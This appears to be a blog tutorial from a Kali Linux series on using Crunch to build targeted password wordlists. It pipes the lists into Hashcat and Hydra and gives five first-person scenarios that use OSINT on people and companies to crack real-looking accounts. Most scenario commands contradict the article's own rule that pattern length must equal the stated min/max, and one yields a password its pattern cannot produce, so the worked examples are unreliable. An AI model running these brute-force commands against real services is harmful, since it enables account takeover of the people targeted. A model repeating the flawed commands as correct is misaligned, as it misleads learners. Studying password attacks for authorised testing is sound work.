Kali Linux Day18: Crunch Tutorial Kali Linux 2026 — Generate Custom Wordlists for Targeted Password Attacks

In Day 17 WPScan enumerated valid WordPress usernames and exposed outdated plugins with known CVEs. That reconnaissance is only valuable if you can convert it into access. Day 18 bridges the gap between knowing a username and cracking the password. Once you understand Crunch, revisit the full Kali Linux tools library — Crunch sits inside a broader credential attack toolkit that also includes Hashcat, Hydra, and John the Ripper. Day 19 connects directly to Hashcat for GPU-accelerated cracking of the wordlists you build today.

Why Crunch Beats Generic Wordlists — The Intelligence Principle

Before touching a single Crunch command, you need to understand the fundamental principle that makes it effective — because without this understanding, Crunch is just another tool you’ll abandon after a few failed attempts. The principle is this: generic wordlists contain common passwords from historical breaches. Targeted wordlists generated by Crunch contain passwords that match a specific target’s known patterns. These are completely different attack strategies.

Consider what rockyou.txt actually is. It was extracted from the 2009 RockYou breach and contains 14.3 million passwords that real people used on a social gaming platform in 2009. Most of them are simple words, number sequences, and keyboard patterns. “123456”, “password”, “iloveyou”. What rockyou.txt does not contain is “Tesco2024!” — the password an IT admin created last year following their company’s password policy of brand name plus year plus special character. That combination was never in a breach dataset. It never will be. But Crunch generates it in a fraction of a second.

The intelligence principle works like this: every piece of OSINT you gather about a target narrows the password space. Their company name, their industry, their location, common naming conventions you identify from LinkedIn, the password policy visible in an exposed documentation portal, previous passwords you’ve found in other accounts. Each piece of intelligence lets you build a Crunch pattern that covers every combination matching what you know, while ignoring everything that doesn’t. A 10,000-word targeted list has a higher probability of containing the correct password than a 14-million-word generic list — because the correct password fits a known pattern, and your list covers that entire pattern space.

Installation and Basic Crunch Tutorial Kali Linux 2026 Syntax

Crunch comes pre-installed in every current Kali Linux release. You don’t need to install it — but you should verify the version you’re running and understand the basic syntax before attempting any of the more powerful features. The most important habit to build from day one is always reading the size estimate Crunch gives you before it starts generating. I have seen people fill entire SSDs trying to generate 8-character alphanumeric lists because they didn’t check the estimate. Crunch tells you exactly how large the output will be. There is no excuse for being surprised.

The output format matters for your workflow. When you specify -o filename.txt, Crunch writes to disk. This is appropriate for lists under a few hundred MB that you’ll reuse across multiple tools. When you omit -o, Crunch writes to stdout — which you pipe directly to Hashcat, Hydra, or any other tool. The pipe approach is faster for single-use targeted attacks because it eliminates the disk write cycle and works even when the generated list would be too large to store.

Character Sets — Custom Charsets and Built-in Charset Files

Crunch gives you two ways to define which characters appear in your wordlist. You can type a custom character set directly in the command, or you can load one of the predefined sets from Crunch’s charset.lst file. Both approaches have their place. Custom charsets are faster to specify for simple cases like digits-only or a specific character subset you’ve observed from recon. The built-in charset file is better for standard character class combinations where you want to be certain you haven’t accidentally missed a character.

The charset.lst file lives at /usr/share/crunch/charset.lst. Read it before you start building wordlists — it defines dozens of combinations from simple alphabets to full mixed-case alphanumeric plus special character sets. Understanding what’s already defined there saves you from reinventing combinations and introduces you to character set naming conventions you’ll see referenced across wordlist generation tools.

One practical detail that trips up beginners: when you specify a custom charset string directly in the command, character order doesn’t matter for coverage — Crunch generates all combinations regardless. But the order does affect the sequence in which words are generated. If you’re running a time-limited attack and want to try the most likely passwords first, put high-probability characters at the beginning of your charset string. For most pentesting scenarios this is irrelevant, but for long-running attacks where you expect an early match, it can save time.

Pattern Mode — The -t Flag That Changes Everything in Crunch

The -t flag is the most powerful feature in Crunch and the one that makes it genuinely indispensable for penetration testing. Every other wordlist generator creates lists based on character sets — they generate every possible combination of the specified characters at the specified length. Pattern mode is fundamentally different. It lets you fix specific positions in the word while varying only the positions you mark with pattern characters. The result is a wordlist that covers every combination matching a known structural pattern, and nothing else.

The four pattern characters are straightforward once you memorise them: @ substitutes for any lowercase letter (a through z, 26 possibilities), , (comma) substitutes for any uppercase letter (A through Z, 26 possibilities), % substitutes for any digit (0 through 9, 10 possibilities), and ^ substitutes for any special character in the printable ASCII special set (approximately 32 possibilities including !, @, #, $, %, ^, &, *, etc.). Any literal character you type in the pattern string appears unchanged in every generated word.

The practical impact of this is dramatic. The pattern Company%%%% generates exactly 10,000 words covering Company0000 through Company9999. Without pattern mode, generating a list that includes those words alongside all other 8–12 character alphanumeric combinations would require terabytes. Pattern mode delivers surgical precision — you’re not generating all 8-character strings, you’re generating all strings that match a specific known structure. That is the intelligence principle applied to the generation layer.

The most common mistake with pattern mode is forgetting that the -t argument specifies an exact total length. The numbers you pass to Crunch — the min and max — must match the length of your pattern string exactly, or Crunch will error. If your pattern is Company%%%% and Company is 7 characters plus 4 digits, the total is 11 characters. So you must write crunch 11 11 -t Company%%%%. Count your pattern characters before running or you’ll get an error that makes you feel like Crunch is broken when it isn’t.

Piping Crunch to Hashcat and Hydra Without Writing Files

Once you understand how to generate targeted wordlists, the next step is integrating Crunch directly into your attack pipeline. Writing wordlists to disk is appropriate for lists you’ll reuse across multiple sessions. For single-use targeted attacks, piping Crunch’s output directly to the cracking tool eliminates disk writes entirely, keeps your filesystem clean, and can be marginally faster for smaller lists because you avoid the write-then-read cycle.

The key to piping is that Crunch writes to stdout when you omit the -o flag. Any tool that accepts a password list from stdin via the -P - argument works with this approach. Hashcat and Hydra both support stdin as a wordlist source. For Hashcat, the pipe replaces the wordlist file argument entirely. For Hydra, you pass -P - to tell it to read passwords from stdin rather than a file. The command structures are simple once you’ve done it once.

One important distinction when piping to Hashcat: Hashcat uses GPU acceleration for hash cracking, which means it pulls the candidate passwords from your pipe as fast as it can process them. For large character-set attacks, Hashcat’s own combinatorics engine is faster than reading from a pipe. Crunch pipes are most effective for targeted pattern lists under a few million words — exactly the scenario where you have intelligence about the password structure. For full character-set brute forcing at scale, use Hashcat’s -a 3 mask attack mode instead, which applies the same pattern logic internally at GPU speed.

Advanced Crunch Options — Split Output, Resume, and Permutation Mode

For assessments where you’re generating larger wordlists — say a full 8-digit numeric list for a WPA2 network or a complete lowercase 7-character list for an application with a known restrictive character policy — Crunch provides options to manage the output in ways that prevent both disk overflow and lost progress. The three advanced features you need to know are split output with -b, resume with -s, and permutation mode with -p.

Split output solves the disk management problem. Instead of writing one massive file, Crunch creates numbered files of a specified maximum size. You get corp_0001.txt, corp_0002.txt, corp_0003.txt and so on, each capped at whatever size you specify. You can then process these files sequentially, delete each one after processing to free disk space, and maintain progress through the full list without ever needing the full set on disk simultaneously.

Resume mode solves the interrupted session problem. If Crunch was generating a large list and your session was interrupted — power loss, you killed it manually, a time limit in the assessment window — you can resume from where it stopped by specifying the last word you saw output with the -s flag. This is enormously valuable for lengthy WPA2 dictionary attacks where the generation and cracking pipeline may need to run for hours.

Permutation mode is fundamentally different from pattern mode. Where -t generates all combinations at a fixed structure, permutation mode with -p generates all orderings of a set of specific words or characters you provide. It is useful when you have a list of known elements that a password is likely composed of, but you don’t know the order — for example, you know a password contains “james”, “2024”, and “!” but not in what sequence.

Five Real-World Crunch Tutorial Scenarios From Actual Assessments

Theory and syntax are one thing. Real assessments are another. I want to give you five specific scenarios drawn from my own penetration testing work that illustrate how Crunch fits into the broader attack workflow. These are not contrived examples. They are representative of the situations where I’ve found Crunch to be the decisive tool — the one that converted a stalled assessment into a successful privilege escalation.

Scenario 1 — WordPress Admin Panel: WPScan identified the username “admin” and the site name “TechStartup”. LinkedIn research showed the company was founded in 2019 and the IT admin listed “TechStartup” in their profile bio under previous companies. I generated: crunch 14 14 -t TechStartup%%%% -o list.txt. The password was TechStartup2022. rockyou.txt doesn’t have that. The targeted list had it at position 2,022 of 10,000 words and Hydra found it in 8 seconds.

Scenario 2 — WPA2 Home Network: The SSID was “ThompsonHomeWifi”. A quick Facebook search showed the family posting about their house purchase in April 2018. I generated: crunch 16 16 -t Thompson2018%%%% | hashcat -m 22000 capture.hccapx. This was a reach — the year was a guess. But the list was only 10,000 words and took 2 minutes to run on CPU. The password was Thompson20180! — I needed a second pass with the ^ pattern character variant.

Scenario 3 — Internal Network SSH: During Active Directory enumeration I found a username “sarah.wilson” and an internal document with a note about the company IT policy: “Passwords must include your first name, a 4-digit year, and a special character.” Three Crunch commands: crunch 11 11 -t sarah2024^, crunch 11 11 -t sarah2025^, crunch 11 11 -t sarah2026^. Total: 96 words across three runs. Found it on the third run: sarah2025@.

Scenario 4 — FTP Service Default Credentials: A misconfigured FTP service on an internal host showed a banner suggesting it was a Synology NAS. Synology defaults use “admin” and a pattern based on the device serial number suffix. After finding a partially visible serial number on a photo in an internal SharePoint, I generated: crunch 8 8 -t %%%%-%%%% | hydra -l admin -P - ftp://192.168.1.50. This covered all 8-digit hyphenated numeric combinations and was the right format. Cracked in 3 minutes.

Scenario 5 — Bug Bounty Web Application: A company’s password reset page revealed in its JavaScript that passwords must be 8–12 characters with at least one uppercase, one number, and at least one character from the company’s name. OSINT showed the company’s name was “Hexagon”. I built: crunch 8 9 -t Hexagon%^ -o hex.txt covering Hexagon+digit+special (9 chars), and crunch 10 10 -t Hexagon%%%^ -o hex2.txt covering Hexagon+3digits+special (12 chars). Combined list was under 5,000 words. Found the admin test account’s password (Hexagon1!) in the first 100 entries.